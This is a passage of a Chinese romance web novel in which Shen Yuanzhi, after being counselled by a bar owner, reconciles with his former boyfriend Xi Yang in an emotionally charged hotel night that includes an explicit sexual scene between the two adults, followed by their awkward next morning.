“不用急着拒绝,”余杭咬着烟声音有些哑,朝他轻轻挑了下眉:“我不会害你。”
沈垣之盯着他,没说话。
“你知道我第一次注意到你是什么时候吗,”
余杭声音有些哑,没等他回答便伸手点了点某个很角落的位置:“那时候你常坐在那里,每次雷打不动点同一杯酒。”
“一坐就是坐几个小时。”
沈垣之顺着他的动作望去,没说话,他有段时间确实常来这里。
“我男朋友之前还跟我聊过,说你肯定失恋了。”
从思绪里回过神来,沈垣之微微一愣:“男朋友?”
“嗯。”余杭“嗯”了声,眉眼间含上了几分笑意:“就是April的老板。”
沈垣之这下真愣住了。
大学四年里,沈垣之几乎每天三点一线,他不爱喝咖啡,来‘星野’时偶尔会在隔壁玻璃门外瞥见几眼,在脑海里回想了下这人,除了隐约有道清冷的身影外,实在没其他什么印象。
但他在‘星野’喝了这么多次酒,没看到余老板和哪个男生举止亲密过。
余杭见他露出疑惑的神情,眉间轻轻挑了挑:“别想了,你在这读书时我还没追上他,我追他追了……”
余杭想了一下:“大概快四年。”
“这么久?”沈垣之有些惊讶。
“嗯。”余杭点点头:“难追了。”
“我当时每天给人送花,次次都被毫不留情丢了出来。”
“给人家送酒,人家觉得我图谋不轨,说我要灌醉他做坏事。”
像是想到了往事,余杭冷峻的眉眼染上了笑意,语气也轻了许多。
沈垣之听着余杭追隔壁咖啡老板的艰辛史,眼眸一松,渐渐没了那么多防备,慢慢放松了下来。
“不过最后还是被我追上了。”
余杭哑声道,一根烟抽完,他下意识往身上摸了摸,不出半秒就像是想到了什么似的,轻轻叹了口气:“就是管的严,每天只能抽一根烟。”
“那你刚刚还问我要不要烟?”
沈垣之有点无语。
“偶尔会多抽几根,”余杭闻言笑了笑:“不过不好意思,今天忘了拿。”
片刻后,沈垣之也跟着笑了。
“你呢?”
余杭看了他一眼,再次问道:“要不要跟我聊聊?”
沈垣之一愣,没说话。
余杭也不着急,他点开手机不知道给吧台发了什么,很快就有小哥给他端了杯蜂蜜水过来。
“喝吧。”
像是想到了什么,余杭一顿,声音有些空:“我就是觉得你和我弟弟有些像,觉得亲切,以前就想找机会跟你聊聊,但我当时觉得太冒昧。”
“当然你不想说也没关系。”
沈垣之盯着蜂蜜水沉默了几秒,不知道是因为头一次遇到同性向的人,还是今天情绪实在太差,他摩挲着温热的玻璃杯,过了不知道多久,才艰难的开口:“我有一个朋友……”
双目对视,余杭“嗯”了声示意他说下去。
沈垣之唇一动,不知道怎么说。
这些事说出来他自己都觉得荒唐,桩桩件件都不像是他会做的事,而且他并不能完全将自己藏起来的那些伤疤,那些过往一一展开在一个对他来说并不信任的人身上。
可他实在太难过了。
难过到他也不知道为什么难过。
自从收到席殃主动发来的消息后,他心口闷得慌。
他一边想钓着席殃,一边又因为席殃主动联系而难受,开始前他明明提前将一切都布局好了,但真正地去体会时,才发现和想象中的有很大的区别。
不确定的因素太多。
沈垣之都无法分清是哪步出了错。
于是沈垣之只能将他和席殃的故事掐头去尾的说了个大概,从分开到重逢,再到争执,讲到席殃刚刚给他发的消息时,沈垣之语气一顿,声音很哑。
“我也不知道为什么,明知道顺着他说下去才是我一开始想要的,玩玩而已嘛,管这么多干什么呢。”
他沉默了一下:“但是,我就是难受。”
余杭闻言很轻地叹了口气,诚实道:“我搞不懂你们现在的年轻人怎么想,一个很简单的问题——”
“带着感情跟别人玩心,你玩得过谁?”
沈垣之很快看了过去。
“要我是你,不管他当时到底是什么原因离开,也不管他到底曾经回没回来过,既然已经下定决心要报复他,要玩他,就应该没心没肺将他玩个彻底。”
沈垣之眸光微沉。
“可他现在主动回你消息你不开心,不回你消息也不开心。”
“你潜意识里就觉得他不是随便和别人聊骚的人,当他真聊了,你又接受不了。”
“先不管他到底是怎样的人。”余杭顿了一下,他看向身旁的沈垣之,眉头皱得很深:“你呢?”
“你到底要干什么?”
沈垣之一愣,心猛地一落空。
“大学期间也是为他才喝的酒吧,这么多年了,你就没放下过,”余杭语气很淡,但字字珠玑:“退一步说,你既然都已经放下了,那现在又何必把自己搭进去呢?”
说完,他拍了拍沈垣之的肩膀,将桌上没喝完的酒抱在怀里,走了。
目送余杭离开的背影,回过神来的沈垣之脸色变得苍白起来,困扰了他许久,他一直以来刻意忽视许久的那些情绪,在此刻,又再次卷土重来。
从一开始就是错的。
从发出那条匿名短信就已经开始错了。
他以为他抱着报复席殃的心态,就能置身事外将席殃玩弄于股掌之间,可事实证明,他压根就做不到,就跟余杭说的那样——
他没放下过。
无论是在以前,还是现在,席殃这个人只要一出现,就能随时随地挑起他的情绪。
沈垣之眼眸一热,有些恼羞成怒地想。
他怎么还能喜欢席殃呢。
席殃当年不告而别,重逢后装不认识,冷着脸说他过得怎么样是他自己的事,甚至刚刚还和他的马甲号调情,明面上还和他你来我往。
他怎么还能喜欢他呢。
四肢发麻,沈垣之的心被一阵阵酸楚迅速淹没,沉默了许久,直到舞台再次传来音乐声后他才从溺毙的情绪里回过神来。
沈垣之曾在管培期间了解过风控,当时教他的老师说,每当情况变得不可控时,无论背后的利益有多大都应该及时止损,不然投资成本越多,就会越陷越深,最后功亏一篑。
再这样下去,失控一定是他。
难道他真要把自己搭进去,又一次?
沈垣之脸色一凝,心里的答案几乎呼之欲出。
径直点进短信,他屏着呼吸将那个置顶号码毫无留恋地拖进了黑名单。
去他妈的,他不玩了。
第28章 第 28 章 “怎么玩我都行。”……
酒吧里的人渐渐多了起来, 台上的主唱也取下了吉他,他唱了一首很有激情的英文歌,酒精在灼热的空气里沸腾, 人群的喧嚣洋溢在耳边。
黑暗的某个角落,沈垣之很快按了熄屏。
屏幕遗留的光亮照出一瞬他的眼尾,像玻璃门映出的雨痕, 带着很淡的一抹红,睫毛向下一扫,思绪很快和熄灭的屏幕一同匿于黑暗里。
没过多久,沈垣之站起身来。
西装外套早早被脱下, 此刻正搭在他臂弯处, 扎进细窄腰身的白色衬衣因久坐而略显凌乱,沈垣之从角落里走出来的那瞬,便有几道打量的视线落在他身上。
比起出众的气质,更为出众的是他那张脸。
尤其染上几分酒意后, 眉眼间带着生人勿近的冷意,偏偏白皙的皮肤都带着粉,湿润的唇畔也是微红着, 反差极强。
察觉到几道投来的视线, 沈垣之低声说了几声“借过”, 穿过人群, 将玻璃杯搁置在吧台上, 沈垣之喊了声:“余老板。”
余杭正忙着调酒,见是他,先是停下手上动作在他脸上打量了几秒,随后眉头一皱:“要走了?”
沈垣之点了点头。
“没喝醉吧?”
说完,他看了沈垣之好几眼。
沈垣之这些年酒量练了不少, 醉还不至于醉,但是在心情极度不好的情况下,人还是有点飘。
不过问题不大。
沈垣之朝他笑着摇摇头:“没有。”
余杭见他还能笑出来,沉默着,想着也没什么大事,将酒递给一旁的小弟,他弯下腰在吧台底下捣鼓了半天摸出一把伞来。
“将就着用。”
沈垣之盯着伞愣了一下。
“拿着。”余杭将伞塞在了他手里:“趁着雨还没下大快点回去,”
他语气一顿,像是想到了什么,从口袋里掏出了手机:“我俩加个微信,你找江知行直接找我就行。”
江知行大概就是咖啡店老板。
点了点头,沈垣之有些迟钝的掏出手机,加完微信后,他朝门口走去。
就在这时,门口有人进来。
淋漓的雨声因门被推开而放大,目光落在那双熟悉的皮鞋上,沈垣之的心猛地震了一下。
脚步微顿,他低头看着皮鞋的主人慢慢朝他靠近,很快地,在一众甜腻发苦的酒味里,沈垣之闻到了那股独属于席殃的味道。
呼吸一怔,他攥紧了手里的伞。
“怎么不回我消息?”
席殃声音很低,他比沈垣之要高一个头,此刻欠下了身,眉头紧皱,一双染上了雨水的眼眸在沈垣之身上一寸寸划过。
话刚落音,沈垣之心里翻起了各种各样的情绪,他冷笑着,甚至有些恶劣的想——
回你哪个消息?
但抬头瞥见席殃满脸雨痕时,嘴唇一颤,却什么话都说不出口了。席殃敏锐的捕捉到他这一闪而过的情绪,心顿时沉了下来。
身后有人说了声借过,席殃犹豫着往沈垣之靠近,沈垣之几乎是下意识地立马往后退开了。
席殃脚步一顿,愣在了原地。
沈垣之什么话都没说,擦肩而过拉开厚重的门,他很快向外走去。
夜幕笼罩,好在雨下的不是很大,顺着屋檐走,除了裤脚偶尔沾上些水痕之外,沈垣之全身上下都没淋到雨。
脑海里浮现出席殃几乎湿透有些狼狈的样子,也不知道从哪来才能淋到这么多雨,沈垣之脚步一顿,很快将不该有的情绪压下去。
一阵风吹来,沈垣之穿上了外套,身后很快传来几道急促的脚步声,没等他反应过来,便被人从身后攥紧了手腕。
突然其来的肢体接触几乎让沈垣之汗毛倒立,没等他挣扎,席殃便攥着他的手腕靠近了些,他低低地喊了声:“小圆。”
这句称呼一出,好不容易压下的眼热又再次卷土重来,沈垣之无法再克制,他冷着脸用力地挣扎了一下。
“滚开!”
声音带着鼻音,带着酒后独有的哑。
席殃瞥见沈垣之眼尾不自然的潮红,心猛地一颤,他立马松开了手。
沈垣之很快转过头去,他轻轻喘着气,试图平复自己的心情,但那些难过,那些愤怒,那些不堪,那些好不容易下的决定,再见到席殃后竟全化成了不甘心。
尽量开解自己的情绪,但心里扑面而来的酸涩还是将他包裹着,沈垣之眼前不知何时变成了一层厚厚的雾,很快调整着情绪往前走去,没等他走多久,身后突然传来一阵脚步声。
“等一下。”
话刚落音,席殃很快走了过来:“你到底……”
沈垣之闻言回头看了他一眼,雨夜里,酒后的眼尾泅着嫣红,上下打量着站在身前的席殃,沈垣之红着眼,眼眸很沉,心想着——
都勾搭这么久了。
没好好玩一下真的很吃亏。
自嘲地憋回了眼泪,沈垣之盯着他看了一眼:“玩不玩?”
——
一路无言回到酒店。
套间的灯没开,满头思绪的席殃刚准备开灯时,突然被人从身后用力推了一把,眉心一跳,没等他反应过来,一道带着酒味的呼吸便印在他了唇畔上。
席殃一怔,彻底愣在了原地。
黑夜里,沈垣之呼吸急促万分,他毫无章法乱吻着席殃,没有任何交流,也不带一丝情欲,仿佛最亲密的亲吻,在沈垣之这里都只是纯粹的泄愤。
席殃下意识想躲,但瞥见沈垣之红透的眼尾时,他心一沉,没再动了,像是感受不到嘴唇被撕咬的疼痛,席殃轻轻抽着气,沉默着替沈垣之顺着背。
沈垣之呼吸怔了几秒,皱着眉移开了些:“不玩就滚。”
说完便要往卧室里走去。
席殃眼眸一沉,扯着他的手腕将他拉了回来,他呼吸很重,盯着沈垣之看了数秒,落下的唇很重,但同样不带情欲,一口一口轻轻啄吻着,比起沈垣之的泄愤,更像是在安抚。
头脑晕沉的沈垣之被亲的有些混乱,尤其在呼吸错乱之际,感受着席殃身上的味道,被他这样像是捧在手心里似的安抚着。
委屈,恼怒,自暴自弃,各种情绪交织在心头,最后被席殃捧着脸轻轻啄吻时,眼泪竟不可控地流了下来。
他很快撇开了头:“松开,我不想玩了。”
席殃眼眸一沉,接而从他的唇畔离开,月光下沈垣之脸庞的眼泪很明显,席殃眉头皱得更深了些,用手指擦去他的眼泪,声音沙哑。
“我惹你生气了?”
沈垣之闻言抬头看了他一眼。
被他这眼看的心慌,席殃皱眉:“到底怎么了?”
“沈垣之,我怎么又惹到你了?”
“你没惹我!”沈垣之拔高了声音:“是我玩不起,不想玩了!”
“席总真是好手段。”
“撩完那个不说,这个也不放过。”
心像被尖刀刺的疼,沈垣之唇边很快勾起一抹嘲讽的冷笑,红着眼上下打量着席殃:“亲也亲过了,摸也摸过了。”
“你也就那样。”
搭在他后背上的手一怔。
“哥哥。”
“老公。”
匿名短信里发出的特有称呼在此刻被沈垣之红着眼框,极为恶意地叫了出来,他一字一句道:“你喜欢哪个?”
席殃眼皮猛地一抬。
双目对视,看着席殃沉默的眼眸,酸涩之余沈垣之心里隐隐出了口恶气,正当他转身离开时,席殃很快从背后攥紧了他的手腕。
“小圆……”
沈垣之顿时脸色一变:“滚开。”
席殃全当没听见,他一步步靠近,眉头微微展开,肉眼可见地带着几分拨云见日地松了口气:“你是因为这个才生气?”
沈垣之一愣,后知后觉才反应过来。
他回头看向席殃,心里渐渐冒出一个不切实际的念头:“你什么意思?”
见席殃沉默,沈垣之眼里很快染上了湿意,他红着眼,这下是彻底失了控,“席殃,你早知道了。”
“你他妈敢玩我!”
“我……”
“你敢说没有?!”沈垣之冷着脸往后退了好几步:“你什么时候知道的。”
席殃立马坦白道:“你第一次给我发消息的那晚。”
“你……”沈垣之如雷劈般愣在了原地,他像是想到了什么,眼眸猛地一颤:“你看我表面上对你不理不睬,背地里却这样意淫你,席殃你很爽是吧?”
席殃脸色一变:“我没有。”
沉默片刻,席殃声音低哑:“我只是想接近你。”
“接近我?!”
“接近我干什么,”有些混乱地沈垣之下意识冷笑出声:“你现在玩这些把戏有什么用。”
“故意让我知道你这些年回来过又有什么用,我压根一点都不在乎。”他语气一顿,“你当初离开的时候怎么不想想……”
“我后悔了。”
黑暗里,席殃沙哑的声音传了过来:“小圆,很久之前我就后悔了。”
沈垣之喉结一滚,冷笑一声:“我管你……”
“你真的一点都不在乎吗?”席殃低声打断道:“不在乎为什么要哭。”
“沈垣之,你说实话。”
“你是不是还……”
“席总你想的真多。”被说到痛处的沈垣之没了之前的气势,他头也不回地打断道:“少做梦了,我就是想玩你而已。”
“那你为什么不玩了?”话刚落音,席殃突然轻笑了一声:“像刚刚那样,你想玩就玩,我一定配合你。”
沈垣之有些转不过弯来,刚想辩解两句,席殃一边脱下外套,一边朝他走了过来。
沈垣之脚步一顿,愣在了原地。
距离过近。
窗外的月光立马落在那张极富诱惑的脸上,沈垣之呼吸一怔,只见席殃微微欠身,双腿岔开,跪在了他身前。
始料未及的一幕出现在眼前,沈垣之一时哑火:“你干什么……”
席殃没说话。
伸手牵起沈垣之略带颤抖的右手,双手十指相握,席殃目不转睛地看着他,一只手却带着他一颗颗解下自己的纽扣。
从上往下。
很快地,被浸湿的黑色衬衣落在了地上。
月色下,沈垣之自上而下看着他极富力量和美感的背脊,心脏如雷鸣般砰砰作响。
席殃扬起头,脖颈修长又漂亮。
双目对视,他攥着沈垣之的手腕向下,直至放至他的脖颈处,呼吸一颤,喉结便不轻不重地摩挲着沈垣之发烫的虎口。
黑暗里,席殃声音又沉又哑。
“我不是故意骗你。”
“只要你别生气。”
“怎么玩我都行。”
第29章 第 29 章 “你把我口疼了。”……
黑暗里, 除了中央空调偶尔传来的噪音外,一切安静的不同寻常,安静到, 沈垣之能清晰听见自己不断加速的心跳声。
迟来的酒精毫不留情席卷着他本就昏沉的头脑,呼吸间都弥漫着唇间酒后的甜腻,有些灼热, 就像握在席殃脖颈处那只手传来的温度一般。
除此之外,还带着极为细腻的触觉。
沈垣之呼吸一怔,被迫放在脖颈处的那只手也随之颤抖,虎口处被滚动的喉结重重摩擦着, 下一秒席殃便配合地抬起头。
该说不说, 席殃真的长得很合沈垣之的心意。
五官凛冽。
很酷,带着十足的冷感。
光是看着这张脸,沈垣之就已经爽到头皮发麻,更别说席殃此刻跪在他身前, 做出一副臣服的模样。
从光洁有力的上半身,滑向劲瘦的腰身匿于裁剪得当的西装裤,反差太大, 沈垣之眼眸一颤, 有些受不了的喘出一口气。
下意识的生理反应和自厌的情绪在本就不清明的头脑里打着架, 在和席殃对上视线时, 沈垣之脑子里那根名为理智的弦彻底断了。
一切顾忌都先抛之脑后。
沈垣之握在席殃脖颈上的手径直向上, 在席殃沉沉的视线下,他冷着脸,居高临下地揉了揉席殃那被他吻湿的唇。
无须多言,足够默契。
本就灼热的气息被瞬间点燃,没来得及反应, 灼热的唇便落了下来,有一下没一下地,轻轻啄吻着他颤栗的小腹。
黏腻的水声和心跳声形成共鸣,沈垣之被亲的腰身一软,他有些受不了地往后一躲,下一秒,一只手便握了过来。
“别躲。”
席殃抿着湿润的唇看他,声音很轻,手上的动作却很强势。
对上那双眼睛时,沈垣之的呼吸瞬间乱了。
也顾不上张弛有度,他猛地深吸了一口气,伸手拽了拽席殃过长的头发,哑声催促:“快点。”
席殃眼眸里很快染上了同样的温度。
他没再欺负那可怜的小腹,转头咬上了沈垣之的胯骨,连啃带亲,力度很轻,效果却很明显。
沈垣之被亲的浑身战栗,拽着席殃头发的手松了又握,在他受不了又要骂人时,下一秒,灼热的唇隔着布料落了下来。
沈垣之眼眸一颤。
脑子里出现几分空白,他低头去看,席殃正看着他,唇落在极其扎眼的地方,眼眸里藏着很沉很沉的情绪,下一秒,在沈垣之的视线下,他露出牙尖轻轻咬了咬布料边缘。
灼热的空气在唇舌对比之间彻底失了温度,沈垣之攥着席殃很硬的头发,喉结受虐似的滚动着,呼吸里带上几分不成调的声音。
受不住想躲,可落满吻的腰身被那双手紧紧攥着。
沈垣之被固定住动弹不得。
眼前多了层水雾,耳边只剩下暧昧的水声。
大腿打着颤,沈垣之有些难耐地仰起头,呼吸渐重之际,席殃突然停了下来:“小圆,”他抵着唇,声音很哑: “再给我一次机会。”
思绪被迫停滞,关键时刻没被满足,本就被酒精搅得昏头转向的沈垣之闻言呼吸一怔,眼睛都憋红了。
他垂头刚想说什么,便看见席殃目不转睛地看着他,眼眸又沉又暗。呼吸一颤,沈垣之心神不灵地攥紧了手里的头发,眼尾红着,声音都带着狠:“趁人之危,你还要不要脸。”
下一秒席殃低低地笑着:“不要。”
没等沈垣之再开口说话,他再次低下了头。
黏腻的水声和灼热的呼吸迅速占据了他迟钝的大脑,被刻意取悦的感觉实在难以言语。
沈垣之被迫再次陷入了混乱中。
克制不住,饱含难耐的低吟声在唇边悄悄泻出,沈垣之喉结一滚,大腿稍稍绷直,崩溃之际席殃又停了。
他亲了亲仍在颤栗的大腿肌肤,声音低哑,故技重施:“小圆……”
声音被拖得很长,引起万般遐想。
沈垣之闻言眸光微颤,一颗心控制不住地几乎要蹦到嗓子眼里,分不清到底是在玩还是被玩,沈垣之恼羞成怒扇了下他的下巴: “滚你……”
席殃眼眸一下就沉了。
灼热的吻彻底落了下来,沈垣之在毫无章法,略带强制的唇舌中彻底失了神,他腾出手,试图捂住那凌乱的低吟声。
强烈的颤栗让他控制不住想逃,他推拒着,声音都带着颤:“不要了……”
大腿不受控地绷直,垂头看了眼唇边沾着湿润的席殃,愣了几秒,沈垣之红了眼框。
他恨死席殃了。
嘴角向下一撇,眼前就多了层水雾。
那人像是察觉到他的情绪,不出一会儿就把他搂进了怀里,肌肤相触,一下下安抚着顺着沈垣之的后背,轻轻吻着他的耳尖。
片刻后,他叹了一口气。
被这口气叹的眼窝一热,沈垣之立马挣扎皱眉:“我都说不要了,你把我口疼了。”
语气很凶,但喝完酒后的人实在有气无力。
“我的错。”
席殃将人抱紧了些。
“松开。”
席殃摇摇头。
沈垣之也不说话了。
或许是酒意彻底上头,又或许是精力透支,沈垣之在席殃怀里慢慢闭上了眼,两人无声在黑夜里相拥着,直到沈垣之将头埋进了席殃的颈窝里。
锁骨很快沾上了湿润。
席殃心一震,眼眸划过一丝心疼,双手渐渐用力,将沈垣之抱了起来。
“去哪?”沈垣之爽完翻脸不认人:“我玩够了。”
虽是这样说抱着人的手没撒开,鼻音也很重。
席殃没说话,抱着他径直进了卧室。
白天有人清理过,卧室里很干净,带着很淡的洗涤香,沈垣之被放在了床上后很快溜进了被子里,被褥遮住了他小半张脸,露出的睫毛很长,皮肤很白皙。
眼睛都睁不开了,他困的厉害。
以至于被人从睫毛亲到鼻尖,又到鼻尖亲到嘴唇他也没排斥的躲开,半梦半睡之际,沈垣之听见席殃低低地说了声:“我从没想玩你。”
他语气一顿,声音很哑:“可你没藏好,一开始就让我知道了,我拒绝不了你。”
沈垣之闻言一口气差点没提上来,气若游丝地骂了句:“滚。”
“我不滚。”席殃哑着声音凑了过来:“你喜欢我。”
“我□□……”
“我错了。”席殃很快就将脸凑到了他的手上:“你打我吧,打完我接着玩我,想怎么玩就怎么玩,别不理我。”
“沈垣之,我喜欢你。”他声音低低地:“你再给我一次机会,求你了。”
呼吸一怔,沈垣之轻轻偏过头去,这次什么话都没说。
——
半夜醒来,席殃扭过头看见沈垣之呼吸均匀,躺在他的床上睡的很沉,霎时间,一股难以言喻的满足顷刻充盈全身。
他很快冲了个澡。
过了许久后,从浴室里出来的席殃先是来到床边亲了亲沈垣之的额头,像是被打扰,沈垣之很不开心地皱了皱眉。
席殃唇边勾起一抹很淡的笑,没再去打扰他,席殃坐在离床边不远的沙发上,借着月光一动不动盯着沈垣之的睡颜。
从眉毛划过嘴唇。
那颗向来平和心渐渐跳动了起来。
拿出一旁的烟送到唇边,席殃没点燃,只是下意识地咬了咬烟蒂,事情到了这个地步,虽说出乎他的预料,但也毫不意外。
他早就知道,一见到沈垣之他就会失了分寸,只不过是时间问题。当初席殃离开时,脑海里全是沈垣之那句坚定的“不想和任何人建立亲密关系。”
他当初阅历尚浅,信了他这句话。
毕竟沈垣之从一开始就没说过喜欢他,尽管私下总黏着他,但仔细一想,沈垣之在人前从没和他说过一句多余的话。
在沈垣之眼里,他是一个非常能自我调节情绪,成熟的人,抱着那点让恋人依赖的想法,这些话他虽介怀,但天真的觉得再长大些就会好一点。
直到沈垣之的父亲找到他。
那是个非常耀眼的人,举手投足尽显优越,他毫不掩饰地表达着他们家庭条件悬殊,小圆只是图好玩,不会和他长久。
他让席殃识趣地离开,不然就要带沈垣之走,在最关键的高三时期给沈垣之转学。
席殃明明有很多种方式去解决这个问题,但他选择了最让他后悔的那个方法,除开从小到大被人丢下的阴影,最根本的是因为,他对这段感情没有信心。
害怕越陷越深,害怕被抛下,更害怕因为自己沈垣之的命运会有所不同,所以他当时以为自己做了最正确的决定。
后来他在国外经历了许多,好的坏的都经历过,刚去的时候想沈垣之,难过的时候也想沈垣之,无时无刻都在想沈垣之。
这种思念没有随着时间改变多少,在某次差点醒不过来的深夜,他还是很想沈垣之。
所以他中途回来过一次。
那次回来,席殃来到沈垣之的学校,用了半个月走过他走过的路,他吃过的饭,爱待的图书馆。
沈垣之身边多了很多人,不仅仅包括早让他不爽的姓薄的那个,还有很多很多,他这才意识到,沈垣之没有他依旧也过得很好。
那次过后,他没再去打扰。
直到某次挪威展上再次看见他和黎炫,两人穿着同样的制服,脸上挂着同样的笑,这些都是席殃只能从照片里窥探到的。
黎炫从大学一直到工作,他待在他身边一年又一年。
凭什么?
当晚他没睡着,嫉妒得要死,自放弃读博那次闹过一出后罕见地又发了疯,将心理诊所的医生折腾了个遍。
老朋友实在不堪其扰。
你回去看看吧,你这样疯,我怕你死在挪威他都不知道。
所以席殃回来了。
刚回来时他一想到沈垣之还和那姓黎的说话就受不了,心里确实有怨气,想在沈垣之面前摆架子,装不认识,想看看他的反应。
可沈垣之当晚就哭了。
冷了一天不到,席殃就恨不得跪下来求他别哭了。
拿他没一点办法,以至于情不自禁哄着,控制不住逗着,却受黎炫刺激后故意拿话伤人,后来在沈垣之面前彻底失了控,两人争执闹掰,完全出乎他的意料。
他以为他没机会了。
谁知道他命好,沈垣之还喜欢他。
盯着沈垣之那张熟睡的脸,席殃再也忍不住爬上了床。黑暗里他眼眸如炬,没有往日一丝克制,像是要将床上的人生吞入腹。
正当他不知道该如何释放自己的情绪时,沈垣之像是察觉到他的存在,迷迷糊糊地翻了个身,完全没了清醒时的克制,下一秒缩进了他的怀里。
不知轻声嘟囔了句什么。
那只手攥着席殃的衣角,不让他离开了。
第30章 第 30 章 “竟然还是粉色的。”……
沈垣之是被闹钟吵醒的。
虽然只有短暂的一秒就被掐断, 但平时训练有素的生物钟让他很快从沉睡中回过神来。
意识尚未清醒,入目是一片漆黑。
黑色窗纱被一夜未合上的窗户吹起,晨阳裹着微风轻飘飘的送了进来。呼吸间, 沈垣之似乎闻到了几缕甜腻的香味,像是很久之前在学校门口卖的两元一个的奶油面包。
卖奶油面包的老板是一个很温柔的阿姨,每次早早的来, 面包都还是热乎的。
奶油面包,蓝莓浆果可颂,是沈垣之最喜欢吃的。但他胃口小,吃了这个又不能吃那个了, 每当这个时候席殃就会很识趣地买另外一个。
趁人不注意的时候, 沈垣之再很霸道的说要和他交换吃,美曰其名换个味道尝尝,其实大部分都进了他的肚子里。
思索间,沈垣之猛地睁开了眼。
伴随着心跳加速的声音, 昨晚发生的一幕幕宛如倒豆子般毫无停顿地倒进了他的脑子里,醉酒后的滋味并不美好——
但那双浸了水的眼眸,灼热的唇舌, 以及席殃低声细语, 近乎是哄的语气, 经过一晚上的沉淀没被遗忘, 在此刻反而更清晰了些。
思绪稍稍一想弯。
脑海里全是席殃跪在地上让他玩的样子。
呼吸一重, 沈垣之双腿不由自主地颤了一下,当即觉得什么东西又要抬头。
沈垣之瞬间神色大变。
没等他在心里狂骂自己“酒后失态”,“简直色欲熏心”、“洁身自好这么多年,突然发现自己是很坏的一个gay”以及“前任的滋味真好,原来我不是匹好马。”时, 颈窝突然被很轻地蹭了一下。
柔软的触感。
思绪正混乱的沈垣之一下清醒了。
他这才意识到不仅昨晚大事不妙,现在的情形也是非常糟糕的。
床侧挨着窗户那边,正对着床的有一个复古落地镜,不偏不倚,恰好能照出床上的情况。
他,一个近乎一米八三的大高个,此时被身后的人像抱暖水袋那样牢牢抱着,两人之间只在下/半/身隔了一层几乎毫无存在感的空调被。
憋屈的空调被堪堪只停在两人间大腿处,向上是一大一小相拥交错的臂膀,向下是纠缠在一起的两双腿,沈垣之其中一条腿还很霸道的压在最上面。
风一吹,沈垣之在镜子里甚至看到了自己大腿上被双手握过,留下的痕迹。
目光一怔,沈垣之面无表情闭上了眼。
重睡一次吧。
这真的太荒唐了。
说好的不玩了呢,怎么玩着玩着玩到了床上,沈垣之有好多脏话想说。
被遮住的耳朵被灼热的温度渐渐渡了一层热,昨天发生的事他记得很清楚,虽然这些过激的行为在某些程度上是受了酒精的影响,但他昨天意识并不是完全不清醒——
更大部分原因是他拒绝不了席殃。
譬如此刻。
被从身后抱住的感觉实在是太过真实,沈垣之甚至能感受到席殃平稳而有力的心跳声,一下一下,带着他不断加快的心跳静了下来。
呼吸间全都是席殃的味道,沈垣之也说不清楚是什么味,有股淡淡的清香夹杂着楼下飘来的面包味,很好闻,这种味道让他有些留恋。
以至于他没有及时抽身,并且还放纵自己深陷其中。
睫毛一眨,沉默片刻。
沈垣之抿着唇将下巴缩进了被子里,下半张脸藏在了被子里,堪堪露出一双微红的眼睛来。
昨晚席殃说的话他都听见了,那时酒精上头,有几分信又有几分不信,心里还有气,就想着先玩了席殃再说,现在热潮褪去,沈垣之不知道该怎么面对席殃,或者说,他连自己都不知道该怎么面对。
这算什么。
睡了一晚就原谅他了?
不是说好不好玩了吗。
沈垣之你是把脑子爽坏了吧。
自嘲地勾了下唇角,他闭着眼很快收起了思绪,当初发骚扰短信撩他不正是要这个结果吗,现在人也被你玩了,还多余想其他的干什么。
总不可能因为席殃几句话你就心软吧,世界上男人那么多,就非他不可吗。
仿佛就是验证他的想法一般,下一秒,心脏重重地跳了几下。
轻轻皱眉,沈垣之缓缓睁开了眼。
不想再待下去了。
低头看着席殃横在他腰间的手臂,沈垣之试着动了一下,这只比他的肤色稍微要深一下的手臂很宽,像铁一般搂他搂得很紧。
动弹不了,不知出于什么目的沈垣之没上手扯开,他冷着脸呼气吐气,很幼稚地控制着自己的肚子和席殃的手臂的距离。
等贴上后又分开,就这样玩了一会儿,他才回过神要回自己的房间。
将压在席殃身上的腿收了回来,稍微用了力推开席殃横在他身上的手臂,拉开两人间的距离后正准备一点一点向外蹭时,一只手臂拦腰将他抱了回来。
“去哪?”
沙哑又略带慵懒的男声在耳旁响起,沈垣之本就红透的耳尖此刻更像是要滴出血一般,没等他回答,席殃便倾身靠了过来。
耳朵贴着耳朵,脸侧贴着脸侧,那只灼热的手臂用力地拖着沈垣之的腰身往后拉,两人之间的空调被不知被扔到了哪里,沈垣之一下就感觉到那不太寻常的东西正戳着他大腿。
“……”
眼见着席殃没有移开的想法,沈垣之木着脸,脑子里全是脏话,可到最后也只是说了一句:“放开。”
喝了酒,刚睡醒,又闷在被子里,声线虽一如既往的冷,但听起来有力无力,和昨晚相比真的毫无威慑力。
不出所料,席殃没松开。他凑过来用头发蹭了蹭他的耳朵,借着将头从背后埋进了他的颈窝,将沈垣之抱得更紧了。
由是再积极怎么给自己做心理暗示的沈垣之也受不了一大早和席殃这样亲密接触,他是个正常男人,虽然现在看上去心如死灰,但心里怎么想他也难说。
毕竟他昨天晚上刚下决心不玩了,今天早上就躺在别人怀里了。
而且抛开这些都不说,刚刚好不容易下去,眼见着又要起反应。
沈垣之再也受不了。
从被子里钻出来深吸了口新鲜空气,沈垣之挣扎了一会儿,席殃纹丝不动,横在他腰身上的大手眼见着要往下。
心猛地一跳。
沈垣之夹紧了腿,眼看着席殃要得寸进尺,终于忍无可忍地出言讥讽道:“席总,您自重点。”
话刚落音,抱着他的手臂僵了一下。
沈垣之抿了一下唇,心渐渐沉了下来,正面无表情准备起来时,席殃轻轻叹了口气。
“昨晚玩我的时候就是哥哥,老公。”
“玩完了就是席总。”
声音又低又哑,一边说着一边还用头发不经意地蹭了蹭沈垣之的后背,一副受了天大委屈的模样。
“……”
一晚上而已,席殃怎么就变了一个样。
沈垣之有气撒不出,而且席殃字字属实,拉开两人间的距离,沈垣之皱着眉忍不住翻了个身。
黑漆漆的房间里偶尔晨光洒进来,沈垣之看到了席殃那张近在咫尺的一张脸。
由是刚睡醒,这张脸依旧帅的人神共愤,沈垣之很冷漠地扫过他紧皱的眉眼,又冷漠扫过他挺直的鼻子,最后落在那明显不同寻常红着的嘴唇。
脑海里又浮现出他口他的模样。
沈垣之呼吸一怔,立马找回了头绪:“你说的对。”
“玩完了我就是翻脸不认人。”
席殃抿着唇看了他一眼。
沈垣之被这眼看的天灵盖都快爽翻了,目光扫过他饱满的胸肌,目光一怔。
他妈的,竟然还是粉色的。
沈垣之人都麻了。
心里想着昨天这还没玩到,好吃亏,嘴上却平静地说着:“大家都是成年人了,酒后乱/性的事很容易理解,席总,我想大家都是明白人,有些事就不用戳破了。”
“你早知道和你撩骚的人是我,你知情不说就是你的错,你昨天给我玩了,我俩就一笔勾销……”
